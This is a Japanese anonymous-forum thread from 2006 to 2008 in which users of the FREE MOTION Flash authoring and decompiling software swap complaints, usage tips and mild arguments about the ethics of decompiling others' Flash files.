FREE MOTION安いから買って使ってみたら、
エラー起きまくり!!!
何回データ消えたと思ってんだコノヤロー!!!
最悪最悪最悪最悪最悪最悪最悪最悪最悪最悪最悪最悪最悪最悪
最悪最悪最悪最悪最悪最悪最悪最悪最悪最悪最悪最悪最悪最悪!!!!!
絶対フラッシュ完成しないし!!
安さに騙されたッ!!!
皆さんコレぜッッたい使わないほうがいいですよ!!
Meくらい最悪ですよ!!
こんなソフト糞喰らえですよ!!!

221 :06/12/13
>>220
    [ ゚д゚]y-~~~ デフラグガカンリョウシマシタ
    /[へへ
!!!!!!!!!!!!!!!!!!!!!!!EEFIMMNOORTe
、いいいいいいいうええかがきくくこさ
ささししすすすぜたたたただっっってて
てでででとなななにほまみよよよららら
らりれわんんんエココシソタッッッッデ
トノフフヤュララレローーー何使使喰回
安安完対思悪悪悪悪悪悪悪悪悪悪悪悪悪
悪悪悪悪悪悪悪悪悪悪悪悪悪悪悪悪成最
最最最最最最最最最最最最最最最最最最
最最最最最最最最最最消皆糞絶買起騙

222 :06/12/13
Flash8が欲しいよぉぉぉぉぉぉぉぉ……

223 :06/12/14
ビルダーのUP版に付いてたけど、随分、不親切なマニュアルだわね。

224 :06/12/15
/^o^\フッジサーワ
http://x25.peps.jp/azurenamoon

225 :06/12/27
FMからの転向組です。一から勉強中です。
ピカーって光る(発光するような)感じを出したいのですが、どんな機能を使えばできますか?

226 :06/12/29
FREE MOTION付属のビルダーUP版買ったぜ。
フラッシュ始めるのに、ソフトが安いのは魅力的だった。
これからフラッシュ頑張って作るぜ。

227 :07/01/05
フラクリのXP-SP2での起動用の対策ファイルって誰か持ってない?
p-rogLivedoor無くなって起動できない_| ̄|○

228 :07/01/11
すごい過疎っぷりですね
フリーモーション使ってるのって俺だけだったりして

229 :07/01/11
fla板で「フリモ使ってる」って言いづらい空気あるよね

230 :07/01/11
業界用語っぽく
「モフってる」って言えばいいジャない!

231 :07/01/11
>>230
誰がぬこをモフれと言った
俺にももふらせろ
ねこ大好き

232 :07/01/11
おお
同志がちょびっとはいるみたいだからもうちょっと頑張るか

233 :07/01/23
俺もHPビルダー11にくっついてきたのがあるよ。
ASがまったくわかんないんで放置してるけど・・・・orz

234 :07/01/24
解説書セットのヤツを買ってみた。
かなりわかりやすかったけど、それ以上に内容がかなりネタ満載でうけたよ。
絶対確信犯だアレ。

235 :07/01/26
体験版つかってみて、期限切れたしアンインスコしたんだが、
もう一回入れてみたら使用期限が過ぎてるって出た
てことはレジストリが残ってるって事ですよね?
どんな名前か分かりますか?

236 :07/02/07
Flashボタンが作りやすいし
(Flashボタン作成の)自由度も低価格ソフトにしては
かなり高いほうだから気に入っているが、
SWFのダウンロード機能や
動画からアニメ(Flashアニメ)変換機能には
制限があって、ちょっとガッカリ。
試しに日清カップヌードルの公式サイトのFlashアニメを
ダウンロードしてみたけど、全然ダメだったしw

237 :07/02/27
swfからベクターでデータを取り出したくて
書き出しボタンを見つけたときは小躍りしたが
書き出した拡張子がglsってなんだよ…
フリモ以外じゃ開けないじゃないか…
イラレで色をちょいと変えたいだけなのに…

238 :07/02/27
このFlash解析機能最悪だな。
読み込みプロテクトかけても解析できるし
解析結果も元のflaファイルに比べてかなり明確。
バージョン8に対応してないのが唯一の救い。
アドビこの会社に圧力かけて開発できないようにしてよマジで。

239 :07/02/27
>>237
フリモ以外で開けたらもう極悪ソフトになるよこれ。
いや既に極悪極まりない機能だけど。

240 :07/03/02
フリモって車みたい

241 :07/03/02
これ無料体験しなおせない……
おっ、と思ったのをちょっと解析してみるだけだから
安いとはいえ買いたくないな
確かに極悪ソフトだな

242 :07/03/10
Adobeにライセンス受けてるらしいよ。

243 :07/03/21
これとパラフラ、どっちがいいすか?

244 :07/03/27
フリモ。
だがSuzukaとフリモとどっちがいい?
て聞かれるとちょっと回答できない

245 :07/03/27
本家買えよ、たいした値段でもないのに
Suzukaもパラフラの亜種だし、改善されない致命的なバグが有る
グラフィックツールは無い又はショボイ、本気で取り組みたいなら
金出してでも、本物買ったほうがいい。

246 :07/03/29
PhotoShopとIllustratorを持ってるから、.aiファイルさえ読めれば、
flashのグラフィックツールは申し訳程度だけでいい。
ついでに、Shadeも持ってるし。
JPEGよりPNGの方が書き出したとき軽い場合が多いね。

247 :07/04/26
書き出すswfにプロテクト掛けられないのね、
むかしフラメで作ったフラッシュ再編集しようと思って買ったんだけど
プロテクト無しじゃな〜、
このソフト持ってるやつにはプロテクトしても意味無いけど
あんまりいないでしょ?売れてないよね?これ?

248 :07/05/07
>>238
その最悪さのおかげでFlashの勉強をさせてもらいました。
ありがとうフリモ。

249 :07/05/08
>>248は外道

250 :07/05/12
http://www.ah-soft.com/
新しいのが出るらしい。あと解析専用のやつ。
FLAでだせるのか!?チョットほしいかも。

251 :07/05/12
高すぎワラタ

252 :07/05/13
外道が・・・。

253 :07/05/13
ますます外道の度合いを深めて行くFree Motion&Motion Decompiler
でもそこが好き。

254 :07/05/13
さすが中国クオリティ
なるほど外道じゃわい

255 :07/05/13
元々は、英語だった気が・・・。

256 :07/05/14
どう違うの?

257 :07/05/14
Flash8が解析できるっていっても、そろそろAS3.0のFlash9出るって話なんだけど
解析防御のためには9にしろってことか

258 :07/05/14
外部スクリプトにライブラリ化してしまえばよろし。

259 :07/05/14
http://www.vector.co.jp/soft/win95/art/se383112.html
これと同じ?

260 :07/05/14
外道外道言うなや、近道でFlashの勉強や研究が出来るんだぞ

261 :07/05/14
近道ではないけどなw

262 :07/05/14
JAVAかJAVAスクリプトを習得していれば、近道にはなる。
実際、説明書無しでもゲーム作れたし。

263 :07/05/14
近道というより
歩いてた道をいったん脇道にそれて別の町から電車にのる感じだな
なにかうまい言い回しはないかな……

264 :07/05/14
カンニングして100点取っても本当の意味で勉強したことにはならないよ。
つか他のプログラミングの経験があればカンニングの必要ないと思うけどなw>262
もちろん経験の無いやつは他人の組んだスクリプト見てもちんぷんかんぷんだと思う
近道にはならんな。

265 :07/05/14
>>264
オマエ、ほかのプログラミングの経験無いだろw
まあ、確かに近道とまではいえないね。
だが、大きなアドバンテージにはなる可能性がある。

266 :07/05/14
>近道でFlashの勉強や研究が出来るんだぞ
かっこつけた言い方やめなよ
覗き見とパクリでしょ?目的はw

267 :07/05/15
覗きとパクリから始まり、学ぶこともある。
要はそれで最終的にオリジナルを作り上げれば良いんだろうよ。
プログラム組むやつは昔から、BASICであれCであれ、VBであれ
人の組んだソースを覗いて勉強する事も多かったじゃないか。
パクリ、改造もやりまくって元が跡形も分からなくなれば自分の作品だ。
ま、俺はこんな外道買わないけどなwwwww

268 :07/05/15
※Flash8の一部の独自機能は、正常に解析できない場合があります。
↑どの機能に対応してないのか分かれば解析泣かせのflashが作れるね。
解析用と作成用を完全に分ける気はなかったのかな。
せっかく自力で良い作品を作っても、フリモ使用が理由で「もしかしたら」って
偏見の目で見られてしまいそう。

269 :07/05/16
>>268
別にフリモ使用って言わなければよかろう。
あんま使用ソフト公言してるの見たことないぞ

270 :07/05/16
>>268
さすがにそれは考えすぎだろ

271 :07/05/16
>>268
どの作品もAdobeのチュートリアルのマネばっかりじゃん。

272 :07/05/21
そういえば今フリモ持ってる人ってフリモ2に無償アップグレードできるのかな?

273 :07/05/21
アップグレード版¥6980
無償アップグレードなんてめったにないじゃん

274 :07/05/21
なんか新規で買う場合とのお得感がないなw

275 :07/05/22
定価だからね。正規ユーザーには優待とかやるんだろ。たぶん。

276 :07/05/23
>>275
1週間前で無いんだからないだろ。よっぽど売れなければ考えるかもしれんが。
おれはFMは捨てて、もう一個の解析の方を予約した。

277 :07/05/24
2006年3月3日に発売開始した「FREE MOTION」ですが、
大変ご好評をいただき累計出荷本数が70,000本を達成致しました。
それは嘘つきすぎだろう、常識的に考えて

278 :07/05/24
Sothink の分も加えてか?

279 :07/05/24
新機能って全部のラインを一斉に
コピペできるの以外になにか有用なのってある?

280 :07/05/24
>>277 ビルダーと抱き合わせパックやってたから、そこそこ売れてるのでは?

281 :07/05/26
>>277
ベクターでも賞とってたしね。

282 :07/05/26
モーフィングできるのはおもろそう。

283 :07/05/29
ビルダーにこのフラッシュをはめ込みました
IEなら大きさが一定ですが、firefox等の別のブラウザだと
大きさが小さくなってしまいます。原因わかる人いますか?

284 :07/05/29
それはビルダーの問題じゃね?

285 :07/06/01
体験版出ないと怖くて買えないよ。
例:バアージョンアップで大幅劣化↓
http://pc11.2ch.net/test/read.cgi/software/1169644503/l50

286 :07/06/01
発売と同時に体験版DLできるようになるかな?
初代フリモの時はどうだった?

287 :07/06/06
DL版はとっくに発売してるのになんで誰も報告しないんだい。
あとヨドバシ.comにいまだ登録されてないんだが明日電車賃払って買いに行って大丈夫かな。

288 :07/06/07
>>287
Sothink Motion Decompilerの方を買った。
もともとFREEMOTION1.0は解析機能だけが目当てで買ったから2.0はパス。

289 :07/06/07
>287
そりゃこのスレにいるやつら極悪人どうしだからなwwwww
あんまり世に出回ってほしく無いしwww
できれはsage進行でwwwww
ちなみに俺はメール会員特典で職人パック(FMアップグレード)¥12800こっそり購入。
一昨日着いてる。

290 :07/06/07
買った人に聞きたいんだが、解析結果のacが読めないswfに遭遇したことある??

291 :07/06/09
昨日買ってきたけどなんか質問ある?
つーかあやうく1のシリアルナンバー紛失してて
7000円無駄にするところだった・・・。

292 :07/06/09
動画使いたいから買います

293 :07/06/11
なんという過疎スレ

294 :07/06/11
イレギュラーソフト万歳な諸君が集うスレはここですか?

295 :07/06/11
そっとしておいてください。
探さないでください。

296 :07/06/13
フリモ2買った。
何かEnterキーを押すとパララーって感じでフレームが
自動で前に進んで行く機能が追加されてるんだけど、
文字入力中に改行しようとするとそれが
 勝 手 に 発 動 す る ん で す け ど ? ?
・・・・・最悪('A`)

297 :07/06/13
>296
ほんとだ。問い合わせれ。
つか文字入力するまで数分かかった俺…
文字ツールの動作がアドビ系と違う…

298 :07/06/13
2は買ってないから推測だが、エクセルと同じようにAltとか、シフトを押しながら改行しろってことじゃないか?

299 :07/06/13
>298
ほんとだ。シフトでおk。

300 :07/06/14
だがそれは1からの仕様だorz

301 :07/06/14
>>296
体験版ないんで教えてくれ。
ふりもでは画像を中央に持ってくる機能無かったけど2ではちゃんと機能ある?

302 :07/06/15
>291
バージョンアップ版買った
シリアルナンバー紛失してたorz
通常版買い直した
1万5千円のフリモ2となったヽ(*´д`*)ノ

303 :07/06/15
>>291
ふりも1では画像を中央に持ってくる機能無かったけど
2ではちゃんと機能あるか教えてくれ・・・・・

304 :07/06/15
なんでレス番指定してんだ?wwwwwwwwwwwww

305 :07/06/15
ヤマダで売り切れてたがヨドバシで初めて付き7980円(10%)だった。

306 :07/06/18
2の元って何?クイッカーの3?2.6?

307 :07/06/28
>303
ひさしぶりにサイト見たら体験版出来たたで。
もう落としたかもだけど、

308 :07/06/28
日本語でおk。

309 :07/06/28
テキスト入力中にEnterだけ押すとかってにフレームが
動き出す新機能マジで糞すぎる。
それやっちゃうとたまにフリーズして強制終了するし。
いちいち改行するたびにシフトおしてらんねーよ糞

310 :07/06/29
>>309
>>300

311 :07/06/30
変形パネルのX、Yのアンカーポイントを左上にしたいんだけど
できますか?
おしえて! ェロい人!

312 :07/06/30
2の体験版試した、結局まだ
整列コマンドでオブジェを画面の中心にもってくること出来ないんだな。
アホか、こんなのいらねー。

313 :07/07/02
640×480のムービー枠に640×480の連番画像並べるだけで一苦労なんです
グリッドにスナップさせてるのに必ず縦横2ピクセルずつズレる
結局数値入力でチマチマ修正してるけど
もっと手早い方法は無いのでしょうか

314 :07/07/06
体験版インスコできねぇし

315 :07/08/13
体験版よかったからアマで通常版CD-ROM買ったんだが、ファイルは相互性ないのかコレ?
体験版で作ったファイルを開いて編集できるんだが、SWF化できないから意味無い。
体験版でSWFにしてから解析しても、編集だけできてSWF化はできない。
修正パッチ無いみたいだし無理ぽ
SWF化のシステムファイルだけ通常版にコピーとかできねーかな。でもどれかわかんね

316 :07/08/13
発行の設定があってないとかじゃねーの?
通常版だけでやってみてどーよ?

317 :07/08/18
CD-ROM版通常版が体験版よりがエラー多い件について。

318 :07/09/18
質問
FREE MOTIONって、動画ファイル(aviとか)の
書き出しできますか?

319 :07/09/18
できない

320 :07/09/27
スクロールバーってつけれないのだろうか…
さっきから調べてるのだが
文字をスクロールで流すようなものしか見当たらない。
こまった。

321 :07/09/30
>>318
付属の教本に説明は載ってたよ><

322 :07/11/14
FREE MOTION買ったんですが、普通のデジタル時計をつくりたいんですが、
(ボタンを押したら)現在時間を取得して、テキストボックスに書き出すところまで出来たけど、
これを、起動したときからリアルタイムに時間を表示させる方法がわかりません。
つまり↓のような、ループする関数は、最初に、どこに、どういう風に書けばいいのでしょうか?
for(;;){
 (時間表示)
}

323 :07/11/16
>>322
(変数の宣言処理)
this.onEnterFrame = function() {
   (時計の更新処理)
};
これなら、1フレームだけでも時計になるよ。

324 :07/11/16
>>322
ありがと、キミが質問してくれたおかげで、製作する気が増えたよ。
ちょっと、過去のflashの手直ししてくる。

325 :07/11/16
FlashPlayer込みでEXE形式にしたとき、
フラッシュのボタンを押したらFlashPlayerを終了させるには、
何のコマンドを書いたらいいですかね?

326 :07/11/18
FREE MOTIONで作ったフラッシュを「保護」させるにはどうしたらいいですか?

327 :07/11/18
>>325
fscommand("quit")
フラッシュ全般の質問は汎用質問スレ行ったほうがレス速いと思うぞ。
>>326
盾と矛の話になってしまう、ってことなのか
保護設定は付いてない。
フリモ開発者にとってはそんなの関係ねえ、ってところか?
フラッシュ暗号化ソフトを別に用意するしかない
ttp://www.amayeta.com/software/swfencrypt/
これ国内販売してくれないかなぁ

328 :07/11/18
フラッシュ暗号化ソフトこんなのもあった。
http://www.genable.com/asolite.html
こっちはフリーソフト
ちなみにどっちもASの暗号化で画像とかは効果ない。

329 :07/11/18
>>328
1000行以上のAS書いていると、やるだけ無駄な行為だね・・・・。

330 :07/11/18
素人ですみません。
ということは、暗号化は、公開されてるFlashの仕様に含まれる機能じゃないってこと?
アドビのプロ版では、画像の覆い焼き合成ができるみたいですが、
FREE MOTIONでは、ASの記述で出来ないものなのでしょうか?
ASの言語を調べても、アルファ合成はあるけど、合成の種類の指定についてはわからなくて。

331 :07/11/18
FREE MOTIONガンガン使いこなしているぜ!!!
ってやつは少ないだろうな。
まともに使える人や仕事の人はFlashをメインに使っているだろうし。
Flashは買えないけど触ってみたいなって程度の素人しかいない気がする。

332 :07/11/18
>>330
本家flash 8以上でないと、マスクや、ピクチャーの合成とか、
ビットマップへの変更は出来なかった気がする。
今のFREE MOTION 2では、マスクは限られてくるし、AS2.0も2割程度の機能が使えない。

333 :07/11/18
>>330
本家flash 8以上でないと、マスクや、ピクチャーの合成とか、
ビットマップへの変更は出来なかった気がする。
今のFREE MOTION 2では、マスクは限られてくるし、AS2.0も2割程度の機能が使えない。

334 :07/11/18
>>333
そのへんが、よくわからないんだけど、
swf本体はただのスクリプト+データで、実行部分はネットからダウンされてくるんじゃないの?
だから、スクリプトさえ書けば、FREE MOTIONでswfを作っても、アドビflash 8と同じことが出来るんじゃないの?
アドビflash 8のASて、2.0よりバージョンが上ってこと?

335 :07/11/18
>>334 ライブラリがインクルードできんだろ

336 :07/11/18
>>335
ははぁ。なるほど。
そのへんが、非公開ってことかな?

337 :07/11/18
>>336
もしくは、特許分部で、踏み入ることが出来ない領域の可能性も。

338 :07/11/27
静止画のコマ送りアニメをつくってるんですが、
ドットずれが直らなくて泣きそうです。
回避テクニックとかありますか?
画像を貼っただけでドットずれするのは、このソフトだけ?
他のソフトはOKなのですか?

339 :07/11/27
>>338
縦横が同じなら、スクロールしない限りはずれないよ。ずれてしまっても、
画像を張ったオブジェクトのXとYの値を全フレームで同じ値にすればいいよ。
でも、元の絵のサイズが違うとかならどんなエディターでもずれるよ。
http://swfup.info/view.php/7878.swf
うまくやれば、このようにズレない。

340 :07/11/27
>>339
うーん、
たとえば、640*480の画像をそのまま貼った場合でも、
640*479みたいな感じで1ドット縮められたりする現象があるんですが、
うちだけでしょうか?
ActionScriptで、画像の位置とサイズを数値で指定できるようなコマンドってありましたっけ?

341 :07/11/28
>>340
いちいちAS書かなくても、変形パレットでサイズ変更とか可能だよ。
私は、ドットが縮まる現象には遭ったことないですけどね・・・・。
以下は、画面を保存してみたやつに説明を加えた画像。
http://sakuratan.ddo.jp/uploader/source/date60750.jpg

342 :07/11/28
>>341
わかりました!
座標に0.5とか、端数が勝手に入ってたのが原因みたいです。
↑↓→←キーで位置を微調整してると、勝手に小数点以下の座標が入ってしまいます。
グリッドにスナップさせてるのに、余計なことはやめてほしいですね。
おかげで何日も悩んでしまいました。

343 :07/12/26
フリモのスレあったんだ!
初めって知った!
 っでいきなり質問なんですが、「NIGHTMARE CITY」的な音楽とマッチした
FLASHを作りたいのですが、
BGMが入っているシーン一つで全て処理したほうがいいんですか?
それともいくつかにシーンを分けて作ったほうがいいんですか?

344 :07/12/26
>>343
音楽を区切って、それぞれのキャプションに分けた方が、ロードとかの関係で
音楽がずれてしまった時に、最後まで最小のズレでとどめられるからその方が良いよ。
あと、ナイトメアシティーみたいに、
シフトを押すとムービークリップが縮小されてキャプションが出てくる
という奴も、比較的作りやすくなるかも。

345 :07/12/28
>>344 
アドバイスありがとうございます!

346 :07/12/28
今頑張って音楽とマッチしたFLASHを作っているのですが、
タイミングがなかなか取れずに悩んでいます・・・
なんかコツとかないですか?

347 :07/12/30
>>346
音楽が長すぎる場合は、10秒〜20秒程度に区切って小さく小さく作った方が管理としては楽。
音楽は、ストリームではなく、イベントで埋め込んだ方が良い。
また、レイヤーを分けて、最後まで音の波形が全て見える形にすれば、編集しやすい。
あとは、何秒で目的の場所に達するか音楽をプレーヤーで再生して確認すればOK。
あとは、再生あるのみ・・・。
ネタflashの編集の例
http://blogimg.goo.ne.jp/user_image/40/04/3cff406949a030580e0b78ca1936fd6c.jpg

348 :08/01/01
>>347 ありがとうございます!頑張ってみます。
最近きずいたんだけどフリモってマクロメディアが提供していたんだな。
なんか似ていると思ったらこういうカラクリだったとは・・・
http://bottominsea.web.fc2.com/up/image.jpg

349 :08/01/01
URL間違えた!
http://www.geocities.jp/kaunta_patti/up/image.jpg
ちなみに>>343 >>345 >>346は俺です。
HNを10フラと統一しました。宜しくです。

350 :08/01/01
http://www.geocities.jp/kaunta_patti/up/m.html
これならたぶん大丈夫・・・

351 :08/01/02
>350
それはMacromedia Directorの商標表示だろ。
よく雑誌の付録CD-ROMとかでMacromediaのロゴ出てくるの見たことない?
ttp://ja.wikipedia.org/wiki/Adobe_Director

352 :08/01/02
>>351 「Macromedia Director」ってソフトの名前か!
言われてみれば見たことあるような・・・ないような・・・

353 :08/01/02
アホか、フリモ関係ないしww
CD-ROMの自動起動用ランチャーにmacromedia製の使ってるだけだ

354 :08/01/03
むむ・・・恥ずかしいです(/ω\)

355 :08/01/04
体験版のウォーターマークはずせないの?
邪魔で邪魔で仕方がない

356 :08/01/04
買えばいいじゃん

357 :08/01/04
体験期間終了したら考える
とりあえずあと30日残ってるからw

358 :08/01/04
体験版の制限に文句言うのは痛いな

359 :08/01/04
だな…、正直スマンかった。買ってこよう

360 :08/01/04
MP3のリンゲージで、最初のフレームに書き出しのチェックを外して
2つ目のフレームにまとめてMP3素材を書き出ししているんだが、
なぜかサウンドオブジェクトへの読み込みがうまくいかない。
FreeMotion2のswfファイルの書き出しに問題があると見ているんだけど、
ロードバーをしっかり作動させながらのサウンドオブジェクトの使用について、
どうにかならないでしょうか?助言お願いします。(ペコッ

361 :08/01/05
リンゲージ・・・?

362 :08/01/05
リンケージの打ち間違いだろ。

363 :08/01/06
>>347
音楽を途中でくぎると、つなぎめとかフレームとずれると不自然にならない?
多少の不自然さは気にしないことにするの?

364 :08/01/06
>>363
そこはうまく区切ってとしか言いようがない。
上手に区切る自信がないのなら、我慢して長いまま作るしかないけど。
まぁ、どっちにしてもうまく作るには、どこで何が入るかしっかりメモを取らないといけないんだけどね。

365 :08/01/18
フリモの2にアップグレードしようと思うのですが、フリモの3ってまだ出ませんよね?

366 :08/01/19
出てないけどそろそろ一年じゃね?
出るかもよ

367 :08/01/19
昨日、これ買ったよ
なかなかいいね
安い割にはけっこういいよ

368 :08/01/19
と思ったけど、トゥイーンとかシェイプが扱いにくいね
変形とかでも入力した数字通りにならんw
まあ全体的には満足かな

369 :08/01/19
確かに他にAdobeに近い本格的なのないしね。
パクりとも言うがw

370 :08/01/20
Flash初心者なんでこれくらいから始めようかなと思って買ったけど、
何かプレビューすると音と絵がズレるんで不安。

371 :08/01/20
>>370
初心者向けつっても価格帯の話。
内容は本家に近い
ていうかなにをやってずれてんの?
動画をインポートして音がずれるとかじゃなきゃ作り方が悪いだけ
動画だったら環境が悪いんじゃん?

372 :08/01/24
いちいち座標指定しないでオブジェクトをど真ん中に配置する
簡単な方法ってないのkれ?

373 :08/01/25
真ん中にガイドひいとけば?
おれはガイドひいたテンプレファイル用意してる

374 :08/02/03
フリモの2ってDL購入とアップグレード版ってどっちがいいですか?

375 :08/02/03
それわかるユーザーっているかなぁ?
普通は買うの一本だろ?
値段が違うだけじゃないの?
販売できいてください。

376 :08/02/05
確かに・・・変なこと聞いてスマンカッタorz

377 :08/02/07
フリモちゃんと黒フリモの正体がきもかった。
今まで読んだ解説本の中でこの一点だけで最低ランク。
まさかデコンパイルの正体があのハチマキとかだったら、この本捨てる。

378 :08/02/09
フリモがバールのようなものを持っていることに今気付いた

379 :08/02/20
httpwww.snap.co.jp
ここのswfが抜けないのだが?

380 :08/02/27
これって絵を描くのは向いてないのかな
1は描くと全部シンボル化されて絵を描くどころじゃなかったけど…

381 :08/02/27
オニオンスキンあるけど
アニメ向きではなさげだね
他のソフトでかいてもってきたほうがいいよ

382 :08/02/28
>>380
2は、仕様上ではグラフィックの仕様が本家(Adobe)に近い扱いになったっぽいので、
いちいちシンボル化されて書きにくいとかはあまりない。
だけど、グラフィックに色々やると、開いただけで落ちることがあるから怖い・・・。
やっぱりIllustrator→書類をflash書き出し→解析→貼り付けでウマーが
一番データとして完璧な物ができる。
あと、音楽に合わせてフラッシュを作りたいというのが前にあったが、
普通に作れば、環境によってどうしてもずれるモンだから、タイマーを使っての
フレームスキップを、実装すればいいよ。これだと、どんな環境でもずれないし、
タイムラインの波形にあわせて作っても狂わないから。

383 :08/02/28
画像トゥイーンが反映されねぇぇええええ!
しょせん安物か・・・

384 :08/02/29
>>383
モーフィングは動いたけど、ラップ系がうまくいかないね。

385 :08/03/05
>>381,382
へぇ〜ありがとう。
adobeっぽくなったってことはadobeみたいなツールで普通にお絵かきできるってこと?
それなら欲しいなぁ。イラレは高くて買えないからドローツールとして欲しい

386 :08/03/07
>>385
グラフィックの仕様が変わっただけで、ツールはあまり進化がない・・・。
でも、グラフィック内部を直接いじれるから、描写をグラフィックモードではなく、
シェイプモードでグラフィックの中身を編集すれば、普通にお絵かきは出来るかと。
結構いろんな形式読めるんで、
フリーのソフトとか使ってSVG形式の形状を引っ張ってきて作るのもいい。
まぁ、2のダウンロード版が6000円くらいだから、
値段から考えたら、使えるASも多い(flash7までを網羅)のでそこそこいいツール。
唯一欠点なのは、AS2.0の対応が微妙に足りない感じがするところ・・・。

387 :08/03/09
1つかってるんだけど、初期の12fpsから変更の仕方がわからない・・
しょうも無い質問だとおもうけどだれかへるぷ・・

388 :08/03/10
>>387
swfCreatorから変わっていないけど、
背景とかをクリックすると、プロパティーにFLASHそのもののサイズとフレームレートが表示されるから
そのフレームレートを12から好きな数に増やせばOK。

389 :08/03/10
>>388
ありがとうございます!助かりました!
こんな所にあるとは…まったく気付かなかった。。

390 :08/03/11
>>389
昨日はコテ付け忘れたけど、ほぼ毎日見回りにきてるから・・・

391 :08/03/15
最近フリモのドローツールの「鉛筆」と「直線」と「テキスト」を使うと
ドロップしても変形のアイコンにならなくなったのは何故だろう・・・

392 :08/04/02
mp3読み込んでもこのファイルは読み込めませんでしたって出るよ…なんでだろう

393 :08/04/04
>>392そういうことはここで聞くよりAHS社に問い合わせたほうがいいよ。
https://www.ah-soft.com/mypage/?func=logout
ここからログインすれば分かる(ID登録が必要だけどね)

394 :08/04/05
>>392
それは、MP3が、対応外のエンコードで作られた物だったからでは?
けっこう、Flashにいれることの出来るMP3には、制限があった気が・・・・。
良くひっかるんだよ、可変ビットレートにしたMP3とかが・・・・。

395 :08/04/26
閃’08のネットラジオでシーフードが「フリモは酷い」
的なこといっていたけどそんなに酷くなくないか?
かなり本家と近いし、俺はこの価格では満足なんだが・・・

396 :08/04/26
>>395
まぁ、Flash8の機能の3割くらいしかサポートできてないからねぇ・・・・。
実際書き出せるのは、Flash7のswfだし、3つ遅れているからなぁ・・・。
実際、MXに毛が生えている程度のもの。(でも、flash Light1.0すらサポートしてない)
主要なのでフリモに乗っていないのは、ペンタブレット対応のツール、
ぼかしフィルターとか、ASで自由にオブジェクトを立体的に回転とか、
結構、表現的に大事な機能がないからでは? ここいら辺はでかいと思う。

397 :08/04/26
シンボルを選択するとよく落ちるんですが仕様ですか?
このせいで素材が作れないです;
あと、インクスケープで作成したファイルが正しく認識されないです
自分だけでしょうか;

398 :08/04/26
>>397
グラフィックの中に、新しいレイヤー作ったり、動画にしてたり、AS書いたりしてないか?
作ってたらライブラリのプレビューが表示する段階で落ちるよ。
あくまでプレビューや書き出しの時点でのエラー落ちなので、
ライブラリではなくエクスプローラで、該当分部を適正な形にしておけば、落ちなくなるよ。
あと、インクスケープって、何?

399 :08/04/26
>>398
http://www.forest.impress.co.jp/lib/pic/piccam/paint/inkscape.html
397じゃないけど、Inkscapeはこれだとおもう
SVG扱えるドローソフトだね。
>>397
何のファイル形式で書き出ししてるの?
フリモは持ってないからわからないけど、Inkscape SVGなら他のソフトじゃ読み込めないと思うよ
プレーンSVGなら大丈夫なんじゃないの?

400 :08/04/27
400Get
IllustratorでSVG書き出すときも、SVGの1.0でないとフリモが読み込まないことがあるよ。
まぁ、うちは.swfで書き出して解析させるか、.ai(ver3)でインポートする。

401 :08/04/29
質問失礼します。
レイヤー重ねてキャラクターと背景を別々に動かしたいのですが、
キャラクターにイメージトゥイーンを使って徐々に変化させると
背景が上に来てしまいイメージトゥイーンを使っていないところだけ
ちらちら表示されるようになってしまいます。
何が問題なのでしょうか。
ご指導宜しくお願いします。

402 :08/04/30
>>401
現物上げてみ。

403 :08/04/30
401です
ttp://www-2ch.net:8080/up/download/1209553929879016.bocGwb
パスは「hurimo」
著作権やら肖像権やらの関係で若干画像差し替えたので
かなり判りづらくなっていると思いますが…
実際はシルエットになっている部分が実写になってます。
動画に近い形を目指しているので、イメージトゥイーンを使おうとしたのですが、
思うように行かず書き込ませていただきました。
宜しくお願いします。

404 :08/05/03
>>403
どうやっても、ダウンロードできない。

405 :08/05/03
「FREE MOTION」を買おうか「FREE MOTION 2」を買おうか迷っています。
これからFLASHを始めようとしているものです。
やはり2の方がよいのでしょうか。
あまり機能が変わらないのであれば安価な旧版を購入しようと思っています。
作ろうとしているのは、写真の上に文字(ロゴ)を載せたホームページのトップページにあたる画像や、バナーなどです。
ご教授よろしくお願いします。

406 :08/05/03
1買うと後々後悔しますよw
絶対2のほうがいいです。
機能性も使いやすさも断然2のほうが上です。
でも金銭的に余裕があればCS3のほうがいいですねw

407 :08/05/03
バナー作るだけなら無料ソフトで充分だろ?

408 :08/05/03
3がでるかもしれないから買い渋ってる

409 :08/05/06
DLした携帯待受の画像だけ編集したが
時計が 0:0 まま動きません
解決方法ないでしょうか?

410 :08/05/06
>>409
Flash Liteの書き出しには対応してませんよ。

411 :08/05/06
>>410
スレ違いですが何か方法ありますか?

412 :08/05/06
うーん・・・>>409の状況が読めない・・・
携帯用のFLASHを解析させて、自分なりに画像を改造したがうまく動かない・・・
って感じかな?
もしそうなら>>410は正論だな。

413 :08/05/06
>>411
本家でしか、Flash Liteはかけませんからねぇ・・・。
でも、解析出来たのなら、素材を書き出して、本家で同じ内容で作って、
Flash Liteで書き出せば良いよ。
※学生なら、Adobe Flash CS3 アカデミック版(33,400円?)を買えば良い。
なお、Adobe系ソフトは、アカデミック版にアップグレード版を適用できるため、
学生のうちに手に入れておくと何万円分もお得。

414 :08/05/08
FREE MOTION 2を購入したんだがやたらと強制終了ばかりで
てんで使えないソフト。
保存したsqfファイルを開こうとすれば強制終了。
プレビュー押せば強制終了 書き出し押せば強制終了
解析できるだけであとは何もできんじゃん。

415 :08/05/08
>>414
それは、グラフィックの中に
レイヤーとかASとか2フレーム目以降を制作しているんだと思うよ。
グラフィックの中に、グラフィックを入れても落ちるから注意。

416 :08/05/26
スレ違いかもしれませんが…
モーショントゥイーン作成→キーフレーム作成、で100%落ちます…orz
関連性は不明ですが、EXCELのオートコンプリートが実行されても100%落ちます…orz
SOTECのVISTA HOME PREMIUMなんですが、回避方法をご存知の方がいらっしゃいましたら、お力添えいただけませんか?

417 :08/05/26
しまったsage忘れた…
申し訳ありませんorz

418 :08/05/27
かなり重症だなwww
FLASH作成どころじゃないねw^^;
https://www.ah-soft.com/mypage/?func=logoutでログインして
聞いてみたほうがいいのでは・・・。(ID登録無料)
もちろん技術的なことはここで聞いたほうが勉強になるけど・・・

419 :08/05/29
>>418
ご親切にありがとうございます。
そちらで問い合わせたところ、現象の再現ができず、原因の特定ができないとのことです。
あともう一点。
モーショントゥイーン作成→キーフレーム挿入、だと落ちるのですが、
キーフレーム挿入→モーショントゥイーン作成、だと落ちません。
こまめにセーブしつつ、これで何とかするしかないのでしょうか…。

420 :08/05/30
>>419
>モーショントゥイーン作成→キーフレーム挿入、だと落ちるのですが
試しにやってみたら俺も落ちた。
100パーセントっぽい。現象の再現ができず、云々てサポートは納得いかないな。
他の人はどうなのかな?
なにかの環境によるのかな?ちなみに俺はXpSP2。
でもこれ回避方法はキーフレームを先に挿入するように気を付ければいいんじゃね。
